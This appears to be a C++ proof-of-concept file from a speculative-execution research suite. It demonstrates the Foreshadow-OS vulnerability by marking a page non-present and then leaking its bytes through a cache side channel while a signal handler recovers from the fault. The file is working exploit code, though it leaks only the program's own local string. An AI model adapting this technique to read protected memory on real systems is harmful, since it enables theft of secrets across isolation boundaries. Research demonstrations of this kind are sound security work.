/*
 * Copyright 2019 Google LLC
 *
 * Licensed under both the 3-Clause BSD License and the GPLv2, found in the
 * LICENSE and LICENSE.GPL-2.0 files, respectively, in the root directory.
 *
 * SPDX-License-Identifier: BSD-3-Clause OR GPL-2.0
 */

#include "compiler_specifics.h"
#include "hardware_constants.h"

#if !SAFESIDE_LINUX
#  error Unsupported OS. Linux required.
#endif

#if !SAFESIDE_X64 && !SAFESIDE_IA32 && !SAFESIDE_PPC
#  error Unsupported architecture. Intel or PowerPC required.
#endif

#include <array>
#include <cstring>
#include <iostream>

#include <fcntl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <signal.h>
#include <unistd.h>

#include "cache_sidechannel.h"
#include "instr.h"
#include "local_content.h"
#include "meltdown_local_content.h"
#include "utils.h"

char *private_page = nullptr;

/**
 * Demonstrates the Foreshadow-OS vulnerability - speculatively using non
 * present pages for accessing unreachable memory. This is the simplest form of
 * foreshadow that does not cross VM or SGX enclave boundaries.
 *
 * On older versions of Linux kernel (explicitly tested on 4.12.5) the mprotect
 * call with PROT_NONE clears the present bit of the page, but the physical
 * offset of that page is still speculatively used before the fault is
 * triggered.
 **/
static char LeakByte(size_t offset) {
  CacheSideChannel sidechannel;
  const std::array<BigByte, 256> &oracle = sidechannel.GetOracle();

  for (int run = 0;; ++run) {
    sidechannel.FlushOracle();

    for (int i = 0; i < 256; ++i) {
      // Load the private_page into L1 cache.
      ForceRead(private_page);

      // Flip the "present" bit in the private_page table record.
      mprotect(private_page, kPageBytes, PROT_NONE);

      // Block any speculation forward.
      MemoryAndSpeculationBarrier();

      // Access the non-present private_page. That leads to a SEGFAULT.
      ForceRead(oracle.data() + static_cast<size_t>(private_page[offset]));

      std::cout << "Dead code. Must not be printed." << std::endl;

      // The exit call must not be unconditional, otherwise clang would
      // optimize out everything that follows it and the linking would fail.
      if (strlen(private_data) != 0) {
        exit(EXIT_FAILURE);
      }

      // SIGSEGV signal handler moves the instruction pointer to this label.
      asm volatile("afterspeculation:");

      // Flip back the "present" bit in the private_page table record.
      mprotect(private_page, kPageBytes, PROT_READ | PROT_WRITE);
    }

    std::pair<bool, char> result = sidechannel.AddHitAndRecomputeScores();

    if (result.first) {
      return result.second;
    }

    if (run > 100000) {
      std::cerr << "Does not converge " << result.second << std::endl;
      exit(EXIT_FAILURE);
    }
  }
}

int main() {
  OnSignalMoveRipToAfterspeculation(SIGSEGV);
  private_page = reinterpret_cast<char *>(mmap(nullptr, kPageBytes,
      PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0));
  memcpy(private_page, private_data, strlen(private_data) + 1);
  std::cout << "Leaking the string: ";
  std::cout.flush();
  for (size_t i = 0; i < strlen(private_data); ++i) {
    std::cout << LeakByte(i);
    std::cout.flush();
  }
  munmap(private_page, kPageBytes);
  std::cout << "\nDone!\n";
}